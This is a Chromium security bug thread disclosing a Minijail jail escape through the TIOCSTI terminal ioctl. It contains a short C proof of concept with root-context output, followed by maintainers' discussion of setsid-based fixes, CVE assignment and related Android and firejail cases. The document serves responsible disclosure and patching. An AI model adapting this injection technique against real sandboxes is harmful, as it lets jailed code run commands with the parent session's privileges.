Minijail tty hijacking via TIOCSTI
Reported by
starfall...@gmail.com,
Nov 21 2016
|
|||||||||||
Issue description
UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36
Steps to reproduce the problem:
Hi,
When executing a program via minijail, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
escape the jail.
# cat test.c
#include <unistd.h>
#include <sys/ioctl.h>
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
execlp("/bin/id", "id", NULL);
}
# gcc test.c -o test
# minijail0 -u bin -- ./test
id
uid=1(bin) gid=0(root) groups=1(bin) context=unconfined_u:unconfine
d_r:unconfined_t:s0-s0:c0.c1023
# id -----> did not type this
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfine
d_r:unconfined_t:s0-s0:c0.c1023
This is similar to CVE-2016-2568, CVE-2016-2779, CVE-2016-7545,
CVE-2016-9016,
also reported by me.
Thanks,
Federico Bento.
What is the expected behavior?
Not being able to execute arbitrary commands outside the jailed environment.
What went wrong?
The TIOCSTI ioctl pushes characters into the terminal's input buffer because it is under the same tty. sudo has fixed this using the use_pty flag, which basically calls setsid().
This is similar to CVE-2016-2568, CVE-2016-2779, CVE-2016-7545,
CVE-2016-9016,
also reported by me.
Did this work before? N/A
Chrome version: 54.0.2840.99 Channel: stable
OS Version: 10.0
Flash Version: Shockwave Flash 23.0 r0
"Thanks for the report! If you upload this through the Chromium bug tracker (
https://bugs.chromium.org/p/chromium/issues/list), you might be eligible
for a reward."
:)
,
Nov 22 2016
Thanks for the report. jorgelo/vapier: Not sure who's the best owner for this. Could one of you please reassign as appropriate?
,
Nov 22 2016
,
Nov 22 2016
I can own. The reporter contacted me directly, I told him to file here.
,
Nov 22 2016
,
Nov 22 2016
It should be noted that using setsid() will make the user lose job control.
,
Nov 22 2016
We'd be happy to implement a better fix if you suggest one. I'm actually less worried about losing job control (most uses of Minijail are not in the command line), but it does kinda suck that we lose the ability to kill both the Minijail process and the jailed process at the same time, since setsid() will also put the jailed process in a new process group. Having said that, we've been using the -i option to minijail0 (which makes the Minijail process exit immediately), so maybe it's not that big of a deal.
,
Nov 22 2016
AFAIK, firejail used a different approach to fix the same issue https://github.com/netblue30/firejail/commit/ae0e5b667d7756f5a4e318c37aefb0a827abbf25
,
Nov 22 2016
Not sure if firejail's approach works here, since Minijail supports exiting the parent process immediately after fork, which means we cannot wait around until the child process is done to flush the console.
,
Nov 22 2016
Oops, yeah that won't work in this case.
,
Nov 22 2016
we actually went down the setsid rabbit hole about two years ago but gave up because of the signal distribution issue. i don't think we can move forward until that's addressed. https://chromium-review.googlesource.com/239905 unfortunately i can't find the e-mail threads from around that time. i do recall that it was easy to reproduce (just try restarting an upstart job and see it not work), and session manager was impacted.
,
Nov 22 2016
here's the CL with the past discussion: https://chromium-review.googlesource.com/238849 and here's the revert, albeit with no more discussion (since it happened in the original one): https://chromium-review.googlesource.com/239865
,
Nov 23 2016
Can you assign a CVE for this issue? Thanks.
,
Nov 23 2016
We will assign a CVE as part of the rewards process. Also, we've decided to move forward with the setsid() approach, but applying it only when Minijail is run from a console.
,
Nov 23 2016
Sounds good to me, any link to the patch/fix?
,
Nov 23 2016
Same CL as c#5.
,
Nov 28 2016
,
Nov 28 2016
Great, thanks. :-)
,
Nov 29 2016
,
Dec 2 2016
,
Dec 12 2016
,
Dec 12 2016
The panel decided to award $500 for this bug, given that it's not directly applicable to Chrome. Thanks for the report thought!
,
Dec 12 2016
,
Dec 19 2016
Thanks, it seems to me that 'run-as' is vulnerable as well. https://android.googlesource.com/platform/system/core.git/+/android-4.2.2_r1/run-as/run-as.c
,
Dec 19 2016
On Android, SELinux blocks that specific ioctl. Given that run-as is only used on Android, the vulnerability is mitigated. We should likely still fix it, but there is no security impact.
,
Dec 19 2016
Good to know, thanks!
,
Dec 19 2016
https://android-review.googlesource.com/#/c/306278/ for reference.
,
Dec 22 2016
That was actually in response to one of the vulns I disclosed, regarding the same issue on SELinux's sandbox utility, CVE-2016-7545. Good to know :)
,
Mar 7 2017
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jun 21 2018
,
Jul 28
|
|||||||||||
►
Sign in to add a comment |
|||||||||||
Comment 1 by starfall...@gmail.com
, Nov 21 2016